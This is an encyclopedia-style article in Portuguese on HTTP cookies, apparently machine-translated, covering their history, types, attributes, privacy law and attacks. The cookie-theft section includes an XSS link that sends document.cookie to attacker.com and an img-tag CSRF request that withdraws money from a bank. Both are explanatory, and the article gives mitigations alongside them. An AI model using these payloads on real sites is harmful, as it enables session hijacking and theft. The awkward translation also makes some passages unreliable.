Cookies HTTP

Um cookie, também conhecido como um cookie HTTP, biscoito web, ou um cookie do navegador, é uma pequena parte dos dados enviados a partir de um site e armazenado em um usuário de navegador enquanto um usuário está navegando em um site. Quando o utilizador navega no mesmo site no futuro, os dados armazenados no cookie é enviado de volta para o site pelo navegador para notificar o site da actividade anterior do usuário. Os cookies foram projetados para ser um mecanismo confiável para sites de lembrar o estado do site ou atividade que o usuário tinha tomado no passado. Isso pode incluir clicando certos botões, o login, ou um registro de quais páginas foram visitadas pelo usuário até meses ou anos atrás.

Embora os cookies não podem realizar vírus, e não pode instalar malware no computador host, cookies de rastreamento e monitoramento especialmente os cookies de terceiros são comumente usados como maneiras de compilar registros de longo prazo de histórias-a navegação dos indivíduos principais preocupação com a privacidade que levou os legisladores europeus e dos EUA a tomar medidas em 2011. Os cookies também podem armazenar senhas e forma um usuário tenha inserido anteriormente, como um número de cartão de crédito ou um endereço. Quando um usuário acessa um site com uma função de cookie pela primeira vez, um cookie é enviado a partir do servidor para o navegador e armazenado com o browser no computador local. Mais tarde, quando o usuário vai voltar para o mesmo site, o site irá reconhecer o usuário por causa do cookie armazenado com as informações do usuário.

Outros tipos de biscoitos desempenham funções essenciais na web moderna. Talvez o mais importante, os cookies de autenticação são o método mais comum usado pelos servidores da Web para saber se o usuário está logado ou não, e que representam eles são registrados em menos. Sem esse mecanismo, o site não saberia se para enviar uma página contendo informações sensíveis, ou exigir que o usuário se autentique-se por fazer o login. A segurança de um cookie de autenticação, geralmente depende da segurança do site da emissora eo usuário do navegador, e sobre se os dados de cookie são criptografados. As vulnerabilidades de segurança pode permitir que os dados de um cookie para ser lido por um cabouqueiro, usada para obter acesso a dados do usuário, ou utilizados para obter acesso (com as credenciais do usuário) para o site para o qual o cookie pertence (ver cross-site scripting e cross-site request forgery para exemplos).

História

O termo "biscoito" foi derivado de " cookie mágico ", que é o pacote de dados de um programa recebe e envia novamente inalterado. magic cookies já foram usadas na computação quando programador de computador Lou Montulli teve a idéia de usá-los nas comunicações Web em junho de 1994. Na época, ele era um empregado de Netscape Communications, que estava desenvolvendo o e-commerce aplicação "MCI Mall" para MCI. Vint Cerf e John Klensin MCI representados em discussões técnicas com Netscape Communications. Não querendo os servidores MCI Shopping ter que reter os estados de transações parciais levou ao pedido da MCI a Netscape para encontrar uma maneira de armazenar esse estado no computador de cada usuário. Bolinhos fornecida uma solução para o problema de implementar uma forma fiável carrinho de compras virtual.

Juntamente com John Giannandrea, Montulli escreveu a especificação de cookie inicial Netscape no mesmo ano. Versão de 0.9beta Biscoitos Mosaic Netscape, lançado em 13 de outubro de 1994, suportado. O primeiro uso de cookies (fora dos laboratórios) foi verificar se os visitantes do site da Netscape já tinha visitado o site. Montulli um pedido de patente para a tecnologia de cookies em 1995, e US 5774670   foi concedida em 1998. O suporte para os cookies foi integrado no Internet Explorer na versão 2, lançado em outubro de 1995.

A introdução de cookies não era amplamente conhecida do público na época. Em particular, os cookies foram aceitas por padrão, e os usuários não foram notificados da presença de cookies. O público em geral aprendeu sobre eles após o Financial Times publicou um artigo sobre eles em 12 de fevereiro de 1996. No mesmo ano, os cookies recebido muita atenção da mídia, especialmente por causa de potenciais implicações de privacidade. Os cookies foram discutidos em dois EUA Audições da Comissão Federal de Comércio em 1996 e 1997.

O desenvolvimento das especificações formais biscoito já estava em curso. Em particular, as primeiras discussões sobre uma especificação formal teve início em Abril de 1995, sobre a lista de discussão www-talk. Um grupo de trabalho especial dentro do IETF foi formado. Duas propostas alternativas para a introdução de estado em transações HTTP havia sido proposto por Brian Behlendorf e David Kristol, respectivamente, mas o grupo, liderado pelo próprio Kristol e Aron Afatsuom, logo decidiu usar a especificação Netscape como um ponto de partida. Em fevereiro de 1996, o grupo de trabalho identificou os cookies de terceiros como uma ameaça à privacidade considerável. A especificação produzido pelo grupo foi finalmente publicado como RFC 2109, em fevereiro de 1997. Ele especifica que os cookies de terceiros ou não eram permitidos em todos, ou pelo menos não habilitado por padrão.

Neste momento, as empresas de publicidade já estavam usando cookies de terceiros. A recomendação sobre os cookies de terceiros de RFC 2109 não foi seguido pelo Netscape e Internet Explorer. RFC 2109 foi substituída pela RFC 2965 em Outubro de 2000.

Uma especificação definitiva para biscoitos como usado no mundo real foi publicado como RFC 6265 em Abril de 2011.

Terminologia

Cookie de sessão

Um cookie de sessão do usuário (também conhecido como um cookie na memória ou um cookie temporário) para um site existe na memória temporária apenas enquanto o utilizador está a ler e navegar no site. Quando uma data de expiração ou intervalo de validade não está definido no momento da criação do biscoito, um cookie de sessão é criado. Os navegadores da Web normalmente excluir cookies de sessão quando o usuário fecha o navegador.

Cookie persistente

Um cookie persistente vai durar mais que as sessões de utilizador. Se um cookie persistente tem seu conjunto Max-Age de um ano, então, dentro de um ano, o valor inicial estabelecido na esse cookie seria enviado de volta para o servidor cada vez que o usuário visitou o servidor. Isto poderia ser usado para gravar uma peça vital de informação, tais como a forma como o usuário inicialmente veio a este site. Por esta razão os cookies persistentes também são chamados cookies de rastreamento.

Cookie seguro

Um cookie seguro tem o atributo de segurança habilitado e só é usado via HTTPS, garantindo que o cookie é sempre criptografado durante a transmissão do cliente para o servidor. Isso faz com que o cookie menos susceptíveis de serem expostos ao roubo biscoito através de espionagem.

HttpOnly cookies

O cookie HttpOnly é suportado pela maioria dos navegadores modernos. Em um navegador suportado, um HttpOnly cookie de sessão será usado somente durante a transmissão (ou HTTPS) solicitações HTTP, restringindo assim o acesso de outros, não-HTTP APIs (como JavaScript). Essa restrição reduz mas não elimina a ameaça de roubo de cookie de sessão via cross-site scripting (XSS). Esse recurso se aplica apenas aos cookies de gerenciamento de sessão, e não outros cookies do navegador.

Cookies de terceiros

Os cookies são cookies criados com o mesmo domínio (ou o seu subdomínio) como barra de endereços do seu navegador. Os cookies de terceiros são cookies criados com domínios diferentes do que é mostrado na barra de endereço. As páginas web sobre o primeiro domínio podem apresentar conteúdo de um domínio de terceiros, por exemplo, um anúncio bandeira executado por www.advexample.com . Configuração de privacidade opções na maioria dos navegadores modernos permitem que você bloquear cookies de rastreamento de terceiros.

Como exemplo, suponha que um usuário visita www.example1.com , que inclui um anúncio que define um cookie com o domínio ad.foxytracking.com . Quando o usuário visita mais tarde www.example2.com , outro anúncio pode definir outro biscoito com o domínio ad.foxytracking.com . Eventualmente, ambos os cookies serão enviados para o anunciante quando colocar seus anúncios ou visitando seu site. O anunciante pode então usar esses cookies para construir um histórico de navegação do usuário em todos os sites Este proprietário tem anunciado em pegadas.

Supercookie

Um "supercookie" é um biscoito com uma origem de um Top-Level Domain (TLD) ou um eficaz Top-Level Domain. Alguns domínios que são considerados "de nível superior" pode na verdade ser um domínio de nível secundário inferior ou. Por exemplo, .co.uk ou .k12.ca.us são considerados de nível superior, embora sejam vários níveis de profundidade. Estes domínios são referidos como Os sufixos públicas e não são abertos para reserva por usuários finais. A maioria dos navegadores, por padrão, permitir cookies de um first-party cookies com domínio para ser o mesmo ou sub-domínio do host solicitante. Por exemplo, um usuário visita www.example.com pode ter um cookie definido com domínio www.example.com ou .example.com . É importante que supercookies são bloqueados pelos navegadores. Se desbloqueado, um intruso no controle de um site malicioso com o domínio .com pode definir um "supercookie" e potencialmente interromper ou representar solicitações de usuários legítimos para example.com , aproveitando assim o fato de que .com pode definir cookies válidos para sub- domínio example.com .

O Lista Sufixo Pública é uma iniciativa entre fornecedores para fornecer uma lista precisa de sufixos de nomes de domínio em mudança. As versões mais antigas de navegadores não podem ter a lista mais up-to-date, e, portanto, estará vulnerável a supercookies de determinados domínios.

Supercookie (outras utilizações)

O termo "supercookie" às vezes é usado para rastreamento de tecnologias que não dependem de cookies HTTP. Dois desses mecanismos "supercookie" foram encontrados em sites da Microsoft: Bolinho de sincronização que respawned biscoitos Muid, e Biscoitos ETag. Devido à atenção da mídia, a Microsoft depois desativado este código:

Em resposta a atenção recente sobre "supercookies" nos meios de comunicação, nós quisemos compartilhar mais detalhes sobre a ação imediata que tomou para resolver este problema, bem como afirmar o nosso compromisso com a privacidade de nossos clientes. Segundo os pesquisadores, incluindo Jonathan Mayer da Universidade de Stanford, "supercookies" são capazes de recriar os cookies dos usuários ou outros identificadores depois que as pessoas excluído biscoitos regulares. Mr. Mayer identificado Microsoft como um entre outros que tiveram esse código, e quando ele trouxe suas descobertas à nossa atenção, prontamente investigadas. Nós determinamos que o comportamento do bolinho ele observou foi que ocorrem em determinadas circunstâncias, como resultado de código antigo que foi utilizado apenas em nossos próprios sites, e já estava programado para ser interrompido. Nós acelerou este processo e rapidamente desativada este código. Em nenhum momento esta funcionalidade causa identificadores do bolinho Microsoft ou dados associados a esses identificadores a serem compartilhadas fora da Microsoft.

-Mike Hintze

Bolinho Zombie

Alguns cookies são automaticamente recriado depois que um usuário tenha excluído; estes são chamados os cookies zumbis. Isto é conseguido por um script armazenar o conteúdo do biscoito em algumas outras localizações, tais como o armazenamento local disponível para o conteúdo Flash, HTML5 storages e outros mecanismos lado do cliente, e em seguida, recriar o cookie de lojas de backup quando a ausência do cookie é detectado.

Estrutura

Um cookie não mais do que 255 caracteres contém e não podem ocupar mais de 4 K de espaço em disco, que consiste de seis parâmetros:

1. Nome do cookie
2. Valor do cookie
3. A expiração do cookie (usando Greenwich Mean Time)
4. O caminho do cookie é bom para
5. O domínio do cookie é bom para
6. A necessidade de uma ligação segura para utilizar o cookie

Somente os primeiros dois parâmetros são necessários para a operação bem sucedida do bolinho.

Usos

Gerenciamento de sessão

Os cookies podem ser usados para manter os dados relacionados ao usuário durante a navegação, possivelmente através de múltiplas visitas. Os cookies foram introduzidas para fornecer uma maneira de implementar um " carrinho de compras "(ou" carrinho de compras "), um dispositivo virtual em que os usuários podem armazenar itens que eles querem comprar como eles navegam em todo o site.

Aplicações carrinho de compras hoje geralmente armazenar a lista de conteúdo do carrinho em um banco de dados no lado do servidor, em vez de armazenar itens da cesta no próprio cookie. Um servidor web normalmente envia um cookie contendo uma identificador de sessão exclusiva. O navegador irá enviar de volta esse identificador sessão com cada subsequentes de solicitação e cesta de compras itens são armazenados associado com um identificador de sessão única.

Permitindo que os usuários façam login em um site é um uso freqüente de cookies. Normalmente, o servidor web irá primeiro enviar um cookie que contém um identificador de sessão exclusiva. Os usuários então apresentar as suas credenciais eo aplicativo da Web autentica a sessão e permite ao usuário o acesso aos serviços.

Os cookies fornecem um meio rápido e conveniente de interação cliente / servidor. Uma das vantagens de biscoitos reside no fato de que eles armazenam as informações do usuário localmente, enquanto os usuários identifiquem simplesmente com base na correspondência de cookie. O servidor de armazenamento e recuperação de carga é bastante reduzido. Por uma questão de fato, a possibilidade de aplicações é infinita - dados pessoais a qualquer momento precisamos ser salvos podem ser salvos como um cookie (Kington, 1997).

Personalização

Os cookies podem ser usados para lembrar as informações sobre o usuário que tenha visitado um site, a fim de mostrar conteúdo relevante no futuro. Por exemplo, um servidor web pode enviar um cookie que contém o nome de usuário usado pela última vez para fazer login em um site para que ele pode ser preenchido para futuras visitas.

Muitos sites usam cookies para personalização com base nas preferências dos usuários. Os usuários selecionam suas preferências, inserindo-os em um formulário da web e enviar o formulário para o servidor. O servidor codifica as preferências em um cookie e envia o cookie de volta para o navegador. Desta forma, toda vez que o usuário acessa uma página, o servidor é também enviou o cookie, onde as preferências são armazenadas e podem personalizar a página de acordo com as preferências do usuário. Por exemplo, a Wikipedia o site permite que os usuários autenticados para escolher a página da Web pele que mais gosta; o Google motor de busca, uma vez permitiu que os usuários (mesmo os não-registrados) para decidir quantos resultados de pesquisa por página que eles querem ver.

Encalço

Cookies de rastreamento pode ser usado para rastrear a navegação na web dos usuários de internet. Isto também pode ser feito, em parte, usando a Endereço IP do computador que solicitou a página ou o campo de referente do Cabeçalho de solicitação HTTP, mas os cookies permitem maior precisão. Isto pode ser demonstrado como se segue:

1. Se o usuário solicita uma página do site, mas o pedido não contém nenhum cookie, o servidor pressupõe que esta é a primeira página visitada pelo usuário; o servidor cria uma seqüência aleatória e envia-lo como um cookie de volta para o navegador em conjunto com a página solicitada;
2. Deste ponto em diante, o cookie será automaticamente enviado pelo navegador para o servidor cada vez que uma nova página do site é solicitado; o servidor envia a página, como de costume, mas também armazena o URL da página solicitada, a data / hora da solicitação, eo cookie em um arquivo de log.

Ao analisar o arquivo de log coletado no processo, é então possível descobrir quais páginas o usuário tenha visitado, em que seqüência, e por quanto tempo.

Implementação

Uma possível interação entre um navegador e um servidor que contém uma página da web em que o servidor envia um cookie para o navegador eo navegador envia-lo de volta ao solicitar outra página.

Cookies são arbitrárias de dados escolhidos pelo servidor web e enviado para o browser. O navegador devolve-los inalterados para o servidor, a introdução de um estado (memória de eventos anteriores) em transações HTTP em contrário apátridas. Sem cookies, cada recuperação de um página web ou componente de uma página web é um evento isolado, principalmente relacionado a todos os outros pontos de vista das páginas do mesmo site. Além de ser definido por um servidor web, os cookies também podem ser definidas por um script em uma linguagem como JavaScript, se apoiadas e possibilitadas pelo navegador da web.

Especificações do bolinho sugerem que os navegadores devem ser capazes de salvar e enviar de volta um número mínimo de cookies. Em particular, um navegador é esperada para ser capaz de armazenar pelo menos 300 biscoitos de quatro kilobytes cada, e pelo menos 20 por servidor ou biscoitos domínio.

Definir um cookie

A transferência de páginas Web segue o HyperText Transfer Protocol (HTTP). Independentemente de cookies, navegadores solicitar uma página de servidores web, enviando-lhes um pequeno texto geralmente chamado Solicitação HTTP. Por exemplo, para acessar a página http://www.example.org/index.html, navegadores conectar ao servidor www.example.org lhe enviar um pedido que se parece com o seguinte:

O servidor responde enviando a página solicitada precedido por um pacote semelhante de texto, chamado "Resposta HTTP". Este pacote pode conter linhas que requerem o navegador para armazenar cookies:

O servidor envia linhas de Set-Cookie apenas se o servidor deseja que o navegador para armazenar cookies. Set-Cookie é uma directiva para o navegador para armazenar o cookie e enviá-lo de volta em futuras solicitações para o servidor (sujeito ao tempo de expiração ou outro bolinho atributos ), se o navegador oferece suporte a cookies e cookies estão ativados. Por exemplo, o navegador solicita a página http://www.example.org/spec.html enviando o servidor www.example.org um pedido como o seguinte:

Este é um pedido para outra página do mesmo servidor, e difere do primeiro acima, pois contém a cadeia que o servidor tenha previamente enviado para o navegador. Desta forma, o servidor sabe que este pedido está relacionado com o anterior. O servidor responde enviando a página solicitada, possivelmente adicionando outros cookies também.

O valor de um cookie pode ser modificado pelo servidor através do envio de um novo Set-Cookie: name=newvalue linha em resposta de um pedido de página. O navegador, em seguida, substitui o valor antigo com o novo.

O valor de um cookie pode consistir em qualquer caractere imprimível ascii ( ! através ~ , unicode \u0021 através \u007E excluindo) , e ; e excluindo espaços em branco. O nome do cookie também exclui = como é que o delimitador entre o nome eo valor. O padrão de cookie RFC2965 é mais limitante, mas não implementada por navegadores.

O termo "miolo cookie" é por vezes utilizado para se referir ao par nome-valor. Este não é o mesmo que navegação web trilha, que é a técnica de mostrar em cada página da lista de páginas que o usuário tenha visitado anteriormente; esta técnica, no entanto, podem ser implementados utilizando biscoitos.

Os cookies também podem ser definidos pelo JavaScript ou os scripts semelhantes que funcionam dentro do navegador. Em JavaScript, o objeto document.cookie é utilizado para esta finalidade. Por exemplo, a instrução document.cookie = "temperature=20" cria um cookie de nome temperature e valor 20 .

Atributos de biscoito

Além do par nome-valor, os servidores também pode definir esses atributos de cookies: um domínio de cookie, um trajeto, tempo de expiração ou idade máxima, bandeira Seguro e HttpOnly bandeira. Browsers não enviará atributos cookie de volta para o servidor. Elas só vão enviar par nome-valor do cookie. Atributos de biscoito são usados por navegadores para determinar quando excluir um cookie, bloquear um cookie ou se pretende enviar um cookie (par nome-valor) para os servidores.

Domínio e Path

O domínio do cookie e caminho definir o escopo do bolinho-se dizer ao navegador que os cookies só deve ser enviado de volta para o servidor para um determinado domínio e caminho. Se não for especificado, eles padrão para o domínio eo caminho do objeto que foi solicitado. Um exemplo de directivas Set-Cookie de um site depois que um usuário logado:

O primeiro biscoito LSID tem domínio padrão docs.foo.com e Caminho /accounts , que informa ao navegador para usar somente o cookie ao solicitar páginas contidas em docs.foo.com/accounts . Os outros dois biscoitos HSID e SSID seriam enviados de volta pelo navegador ao solicitar qualquer subdomínio em .foo.com em qualquer caminho, por exemplo www.foo.com/ .

Os cookies só pode ser definido no topo de domínio e seus sub-domínios. Definindo cookies no www.foo.com de www.bar.com não vai funcionar por razões de segurança.

Expira e Max-Idade

O Expira directiva diz ao navegador quando excluir o cookie. Derivado do formato utilizado em RFC 1123, a data é especificado na forma de "Wdy, DD Mon AAAA HH: MM: SS GMT", indicando a data / hora exata esse cookie irá expirar. Como alternativa à configuração de expiração do cookie como uma data / tempo absoluto, RFC 6265 permite o uso do atributo máximo de idade para estabelecer a validade do cookie como um intervalo de segundos no futuro, em relação ao momento em que o navegador receberam o biscoito. Um exemplo de directivas Set-Cookie de um site depois que um usuário logado:

O primeiro biscoito lu é configurado para expirar em algum momento de 15-Jan-2013; ele vai ser usado pelo navegador de cliente até que o tempo. O segundo bolinho made_write_conn não tem uma data de validade, tornando-se um cookie de sessão. Ele será excluído depois que o usuário fecha seu navegador. O terceiro cookie reg_fb_gate tem seu valor alterado para excluídos, com um tempo de expiração no passado. O navegador irá apagar esse cookie de imediato - note que cookie só serão eliminadas quando o domínio eo caminho atributos no Set-Cookie campo correspondem aos valores utilizados quando o cookie foi criado.

Seguro e HttpOnly

Os atributos seguros e HTTPOnly não têm valores associados. Em vez disso, a presença dos nomes de atributo indica que a segura e HttpOnly comportamentos são especificados.

O atributo de segurança foi concebido para manter a comunicação bolinho limitado a transmissão criptografada, dirigindo navegadores para usar cookies apenas via seguro / conexões criptografadas. Naturalmente, servidores web deve definir cookies seguras por seguro / conexões criptografadas, para que as informações do cookie ser transmitidos de uma forma que permite a espionagem quando primeiro enviado para o navegador web.

O atributo HttpOnly dirige navegadores para usar cookies via apenas o protocolo HTTP. (Isto inclui HTTPS; HttpOnly não é o oposto do Seguro.) Um HttpOnly cookie não é acessível através de não-HTTP métodos, tais como chamadas via JavaScript (por exemplo, fazendo referência a "document.cookie"), e, portanto, não pode ser facilmente roubado via cross-site scripting (uma técnica de ataque penetrante). Como mostrado nos exemplos anteriores, tanto o Facebook eo Google use o atributo HttpOnly extensivamente.

Configurações do navegador

A maioria dos navegadores modernos suporta cookies e permitir que o usuário desativá-los. A seguir são opções comuns:

1. Para ativar ou desativar os cookies completamente, de modo que eles são sempre aceitos ou sempre bloqueadas.
2. Alguns navegadores incorporam um gerenciador de cookies para que o usuário ver e seletivamente eliminar os cookies armazenados atualmente no navegador.
3. Por padrão, o Internet Explorer permite que apenas os cookies de terceiros que são acompanhados por um P3P "CP" campo (Política Compact).

A maioria dos navegadores permitem também um completo limpar dos dados privados, incluindo cookies. Add-on ferramentas para gerenciar permissões de cookies também existem.

Privacidade e cookies de terceiros

Os cookies têm algumas implicações importantes sobre a privacidade e anonimato dos usuários da web. Enquanto os cookies são enviados apenas para o servidor definindo-as ou o servidor na mesma Domínio da Internet, uma página web pode conter imagens ou outros componentes armazenados em servidores em outros domínios. Os cookies que são definidas durante a recuperação destes componentes são chamados cookies de terceiros. Os padrões mais antigos para biscoitos, RFC 2109 e RFC 2965, especifica que os navegadores devem proteger a privacidade do usuário e não permitir o compartilhamento de cookies entre servidores por padrão; no entanto, o padrão mais recente, RFC 6265, permite explicitamente que os agentes do utilizador para implementar o que de terceiros bolinho política que desejarem. A maioria dos navegadores, como o Mozilla Firefox , Internet Explorer , Opera e Google Chrome fazer permitir cookies de terceiros por padrão, desde que o site de terceiros tem Política de Privacidade Compact publicado. Versões mais recentes do Safari bloqueia cookies de terceiros, assim como o Firefox 22.

Neste exemplo fictício, uma empresa de publicidade colocou banners em dois sites. Hospedando as imagens da bandeira em seus servidores e usando cookies de terceiros, a empresa de publicidade é capaz de controlar a navegação de usuários em todo estes dois locais.

As empresas de publicidade usar cookies de terceiros para rastrear um usuário através de vários sites. Em particular, uma empresa de publicidade pode rastrear um usuário em todas as páginas onde ele colocou imagens publicitárias ou web bugs. Conhecimento das páginas visitadas por um usuário permite que a empresa de publicidade para direcionar os anúncios para as preferências presumidas do usuário.

Operadores de sites que não divulgam o uso de cookies de terceiros para os consumidores correm o risco de prejudicar a confiança do consumidor no caso de utilização de cookies é descoberto. Tendo divulgação clara (tal como numa política de privacidade) tende a eliminar quaisquer efeitos negativos de tal descoberta cookie.

A possibilidade de construção de um perfil dos usuários é considerado por alguns uma ameaça à privacidade potencial, especialmente quando o controle é feito em vários domínios que usam cookies de terceiros. Por esta razão, alguns países têm legislação sobre cookies.

O Estados Unidos governo estabeleceu regras rígidas sobre como configurar os cookies, em 2000, depois que foi revelado que a Casa Branca escritório política de drogas usado cookies para rastrear os usuários de computador a visitar sua propaganda anti-droga online. Em 2002, a privacidade ativista Daniel Brandt descobriu que o CIA tinha sido deixando cookies persistentes em computadores que tinham visitado o seu site. Quando notificado que estava violando a política, CIA afirmou que esses cookies não foram definidas intencionalmente e parou definindo-as. Em 25 de dezembro de 2005, Brandt descobriu que o Agência de Segurança Nacional (NSA) tinha sido deixando dois cookies persistentes nos computadores dos visitantes devido a uma atualização de software. Depois de ser informado, a Agência de Segurança Nacional imediatamente desativado os cookies.

Lei do bolinho da UE

Em 2002, a União Europeia lançou o Directiva relativa à privacidade e às comunicações electrónicas, uma política que exige 'consentimento para a colocação de cookies e tecnologias similares para armazenar e acessar informações sobre usuários dos usuários finais equipamento. Em particular, o artigo 5 Nº 3 mandatos que armazenam dados em um computador do usuário só pode ser feito se o usuário é fornecida informação sobre como esses dados são usados, eo usuário é dada a possibilidade de negar esta operação de armazenamento.

Directiva 95/46 / CE define "consentimento da pessoa em causa", como: "qualquer indicação específica e informada, de vontade, livre, através da qual a pessoa em causa significa o seu acordo aos dados pessoais que lhe dizem respeito a ser processado". O consentimento deve envolver alguma forma de comunicação em que os indivíduos com conhecimento de causa indicar a sua aceitação.

Em 2009, a política foi alterada pela Directiva 2009/136 / CE, que incluía uma alteração ao artigo 5º § 3º Em vez de ter uma opção para os usuários a optar por sair de armazenamento de cookies, a directiva revista requer consentimento para ser obtida para o armazenamento de cookies .

Em junho de 2012, as autoridades europeias de protecção de dados adoptou um parecer que esclarece que alguns usuários de cookie pode ser isentos da obrigação de obter o consentimento:

• Alguns cookies podem ser isentos de consentimento informado, sob certas condições, se não forem utilizados para fins adicionais. Esses cookies incluem cookies utilizados para manter o controle de entrada de um usuário ao preencher formulários on-line ou como um carrinho de compras.
• Primeira analytics partido os cookies não são susceptíveis de criar um risco de privacidade se sites fornecem informações claras sobre os cookies para usuários e garantias de privacidade.

A resposta da indústria tem sido amplamente negativo. Alguns viram a directiva como uma máquina do juízo final infernal que vai "matar vendas on-line" e "matar a internet". Robert Bond, do escritório de advocacia Speechly Bircham descreve os efeitos como "de longo alcance e incrivelmente oneroso" para "todas as empresas do Reino Unido." Simon Davis da Privacy International argumenta que a aplicação adequada seria "destruir toda a indústria."

O Especificação P3P oferece possibilidade de um servidor para afirmar uma política de privacidade usando um Cabeçalho HTTP, que especifica que tipo de informações que recolhe e para que finalidade. Essas políticas incluem (mas não estão limitados a) o uso de informações obtidas usando cookies. De acordo com a especificação P3P, um navegador pode aceitar ou rejeitar cookies, comparando a política de privacidade com as preferências do usuário armazenados ou perguntar ao usuário, apresentando-lhes a política de privacidade, tal como declarado pelo servidor. No entanto, a especificação P3P foi criticado pelos desenvolvedores web pela sua complexidade, apenas a Internet Explorer fornece um apoio adequado para a especificação, e alguns sites usado código incorreto em seus cabeçalhos (enquanto Facebook , por um período, em tom de brincadeira usada "HONK" como seu cabeçalho P3P ).

Os cookies de terceiros pode ser bloqueada pela maioria dos navegadores para aumentar a privacidade e reduzir o rastreamento por publicidade e de rastreamento de empresas sem afectar negativamente a experiência do usuário da web. Muitos operadores de publicidade têm uma opção de opt-out para a publicidade comportamental, com um cookie genérico no navegador parar de publicidade comportamental.

Roubo de cookies e seqüestro de sessão

A maioria dos sites usam cookies como os únicos identificadores para as sessões do usuário, pois outros métodos de identificação de usuários da Internet têm limitações e vulnerabilidades. Se um site usa cookies como identificadores de sessão, os atacantes podem representar 'os pedidos por roubar um conjunto completo de vítimas dos usuários cookies. Do ponto de vista do servidor web, um pedido de um atacante, em seguida, tem a mesma autenticação como pedidos da vítima; assim, a solicitação é realizada em nome da sessão da vítima.

Aqui estão vários cenários de roubo de cookie e seqüestro de sessão do usuário (mesmo sem roubar os cookies do usuário) que trabalham com sites que dependem exclusivamente cookies HTTP para identificação do usuário.

Rede de espionagem

Um cookie pode ser roubada por outro computador que é permitido ler a partir da rede

Tráfego em uma rede pode ser interceptado e lido por computadores na rede que não seja o emissor eo receptor (particularmente sobre não criptografado aberto Wi-Fi ). Este tráfego inclui cookies enviados sem criptografia em comum Sessões HTTP. Onde o tráfego de rede não é criptografado, os atacantes podem, portanto, ler as comunicações de outros usuários na rede, incluindo cookies HTTP, bem como todo o conteúdo das conversas, com o propósito de uma man-in-the-middle ataque.

Um invasor pode usar cookies interceptadas para representar um usuário e executar uma tarefa mal-intencionados, como a transferência de dinheiro de conta bancária da vítima.

Este problema pode ser resolvido por garantir a comunicação entre o computador do usuário eo servidor empregando (Transport Layer Security Protocolo HTTPS) para encriptar a ligação. Um servidor pode especificar o sinalizador seguro ao definir um cookie, o que fará com que o browser para enviar o cookie somente por um canal criptografado, como uma conexão SSL.

A publicação de falsa sub-domínio - envenenamento de cache DNS

Via Envenenamento de cache DNS, um invasor pode ser capaz de fazer com que um servidor DNS para armazenar em cache uma entrada DNS fabricado, dizer f12345.www.example.com com endereço IP do servidor do invasor. O invasor pode então enviar um URL de imagem de seu próprio servidor (por exemplo, http://f12345.www.example.com/img_4_cookie.jpg ). Vítimas que lêem a mensagem do invasor descarregue esta imagem de f12345.www.example.com . Desde f12345.www.example.com é um sub-domínio de www.example.com , navegadores da vítima iria apresentar todos example.com os cookies relacionados com a servidor do invasor; os biscoitos comprometidos também incluiria HttpOnly cookies.

Esta vulnerabilidade é geralmente para Internet Service Providers para fixar, por garantir os seus servidores DNS. Mas também pode ser mitigado se www.example.com está a utilizar seguros biscoitos. Os navegadores da vítima não apresentará seguros cookies, se a imagem do atacante não está usando conexões criptografadas. Se o atacante escolheu usar HTTPS para sua transferência img_4_cookie.jpg, ele teria o desafio de obter um certificado SSL para f12345.www.example.com a partir de uma Autoridade de Certificação. Sem um certificado SSL adequado, os navegadores da vítima iria exibir mensagens (geralmente muito visível) aviso sobre o certificado inválido, alertando assim vítimas, bem como as autoridades de segurança de www.example.com (este último exigiria alguém para informar as autoridades de segurança).

Cross-site scripting - roubo de bolinho

Linguagens de script como JavaScript geralmente são autorizados a acessar valores de cookie e ter alguns meios para enviar valores arbitrários aos servidores arbitrárias na Internet. Estes fatos são usados ​​em combinação com os sites que permite aos usuários postar conteúdo HTML que outros usuários possam ver.

Como exemplo, um atacante pode enviar uma mensagem sobrewww.example.como seguinte link:

<a href = "#" onclick = "window.location = 'http:? //attacker.com/stole.cgi text =' + escape (document.cookie); return false;">Clique aqui!</ a>

Cross-site scripting: um cookie que deve ser trocado entre um servidor e um cliente é enviado para outro partido.

Quando outro usuário clicar nesse link, o navegador executa a parte do código dentro do onclick atributo, substituindo, assim, a seqüência de caracteres document.cookie com a lista de cookies do usuário que estão ativas para a página. Como resultado, esta lista de biscoitos é enviado para o attacker.com servidor. Se postagem do atacante é sobre https://www.example.com/somewhere , cookies seguros também será enviado para attacker.com em texto simples.

Cross-site scripting é uma ameaça constante, pois há sempre alguns crackers tentando encontrar uma maneira de escorregar em tags de script para websites. É da responsabilidade dos desenvolvedores de sites para filtrar tais códigos maliciosos.

Nesse meio tempo, tais ataques pode ser atenuado com o uso HttpOnly cookies. Esses 'cookies' não será acessível por script do lado do cliente e, portanto, o atacante não será capaz de reunir esses cookies.

Cross-site scripting

Se um invasor foi capaz de inserir um pedaço de script para uma página em www.example.com e navegador da vítima foi capaz de executar o script, o script poderia simplesmente realizar o ataque. Este ataque usa o navegador da vítima para enviar solicitações HTTP para servidores diretamente; portanto, o navegador da vítima iria apresentar todos os cookies relevantes, incluindo HTTPOnly biscoitos, bem como seguros cookies, se o pedido script está em HTTPS.

Por exemplo, no MySpace, Samy postou uma mensagem curta "Samy é meu herói" em seu perfil, com um script escondido para enviar Samy um "pedido amigo" e, em seguida, postar a mesma mensagem no perfil da vítima. Um usuário ler o perfil de Samy Samy iria enviar um "pedido amigo" e postar a mesma mensagem no perfil dessa pessoa. Em seguida, a terceira pessoa a ler o perfil da segunda pessoa faria o mesmo. Muito em breve, este verme Samy se tornou um dos vermes mais rápida propagação de todos os tempos.

Este tipo de ataque (com scripts automatizados) não iria funcionar se um site teveCAPTCHA para desafiar as solicitações do cliente.

Cross-site scripting - solicitação de proxy

Em versões mais antigas de navegadores, houve falhas de segurança permitindo que os agressores roteiro um pedido de proxy usando XMLHttpRequest. Por exemplo, uma vítima está lendo postagem de um atacante em www.example.com e roteiro do atacante é executado no navegador da vítima. O programa gera um pedido para www.example.com o servidor de proxy attacker.com . Uma vez que o pedido é para www.example.com , todos os example.com cookies serão enviados juntamente com o pedido, mas encaminhadas através servidor proxy do atacante, por isso, o atacante pode colher os cookies da vítima.

Este ataque não funcionaria parasegurobiscoito, desdesegurosbiscoitos ir comconexões HTTPS, eo seu protocolo dita criptografia end-to-end, ou seja, as informações são criptografadas no navegador do usuário e decodificadas no servidor de destinowww.example.com, de modo que os servidores proxy faria só vê os bits e bytes criptografados.

Cross-site request forgery

Por exemplo, Bob pode estar navegando em um fórum de bate-papo onde outro usuário, Mallory, postou uma mensagem. Suponha que Mallory tem criado um elemento de imagem HTML que faz referência a uma ação no site do banco de Bob (em vez de um arquivo de imagem), por exemplo,

<> src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >
 

